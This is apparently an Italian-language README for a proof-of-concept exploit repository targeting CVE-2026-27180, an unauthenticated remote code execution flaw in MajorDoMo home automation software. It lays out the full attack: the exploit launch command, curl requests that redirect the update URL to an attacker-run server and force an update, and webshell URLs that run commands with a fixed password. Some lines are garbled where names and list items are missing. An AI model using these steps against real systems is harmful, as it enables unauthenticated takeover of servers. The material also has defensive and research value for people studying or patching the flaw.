
Proof-of-concept exploit per CVE-2026-27180, una RCE non autenticata in MajorDoMo tramite avvelenamento dell'URL di aggiornamento, che consegna una webshell nella root web.
Esecuzione Remota di Codice non autenticata tramite Avvelenamento dell'URL di Aggiornamento in MajorDoMo
CWE-494 – Download di Codice Senza Verifica di Integrità
Impatto: Compromissione completa del server tramite webshell posizionata nella root web
Autenticazione Richiesta: Nessuna
Patch: PR #1177
Questo repository contiene un proof-of-concept per lo sfruttamento di – una vulnerabilità critica di esecuzione remota di codice non autenticata nel software di domotica .
Un attaccante può:
La vulnerabilità esiste perché:
auto_update_settings e force_updateCURLOPT_SSL_VERIFYPEER = false)poc.php).htaccess opzionale per forzare l'esecuzione di PHPgit clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# Nessun pip install necessario – usa solo libreria standard + argparse
graph TD
A["Attacker starts malicious HTTP server\nserving /master.xml + /archive/master.tar.gz"] --> B["Attacker poisons update URL\nvia GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
B --> C["Attacker triggers update\nGET /objects/?module=saverestore&mode=force_update"]
C --> D["MajorDoMo fetches poisoned Atom feed"]
D --> E["Downloads malicious master.tar.gz\n(CURLOPT_SSL_VERIFYPEER=false)"]
E --> F["Extracts tar.gz with tar xzvf ..."]
F --> G["copyTree() copies files recursively\n→ poc.php & .htaccess land in web root"]
G --> H["Attacker accesses webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]
style A fill:#f9d5e5,stroke:#333,stroke-width:2px
style H fill:#c3e6cb,stroke:#333,stroke-width:2px
Avvia il server malevolo:
python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080
Dopo l'avvio del server, esegui questi comandi contro il target:
# 1. Avvelena la sorgente di aggiornamento
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'
# 2. Attiva l'aggiornamento forzato
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'
Attendi 10–90 secondi, poi testa la webshell:
# Esempi:
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a
Questo codice è fornito esclusivamente a scopo educativo, per test di sicurezza autorizzati e attività di red teaming.
Licenza MIT
Copyright © 2026 Mohammed Idrees Banyamer
Con la presente viene concessa gratuitamente l'autorizzazione a qualsiasi persona che ottenga una copia di questo software e dei relativi file di documentazione (il "Software"), a trattare il Software senza restrizioni, inclusi, senza limitazione, i diritti di utilizzare, copiare, modificare, unire, pubblicare, distribuire, concedere in sublicenza e/o vendere copie del Software, e a consentire alle persone a cui il Software viene fornito di fare altrettanto, alle seguenti condizioni:
L'avviso di copyright sopra indicato e questo avviso di autorizzazione devono essere inclusi in tutte le copie o parti sostanziali del Software.
IL SOFTWARE È FORNITO "COSÌ COM'È", SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O IMPLICITA, INCLUSI MA NON LIMITATI ALLE GARANZIE DI COMMERCIABILITÀ, IDONEITÀ PER UNO SCOPO PARTICOLARE E NON VIOLAZIONE. IN NESSUN CASO GLI AUTORI O I TITOLARI DEL COPYRIGHT SARANNO RESPONSABILI PER QUALSIASI RECLAMO, DANNO O ALTRA RESPONSABILITÀ, SIA IN UN'AZIONE DI CONTRATTO, ILLECITO O ALTRO, DERIVANTE DA, IN RELAZIONE A O IN CONNESSIONE CON IL SOFTWARE O L'USO O ALTRE OPERAZIONI NEL SOFTWARE.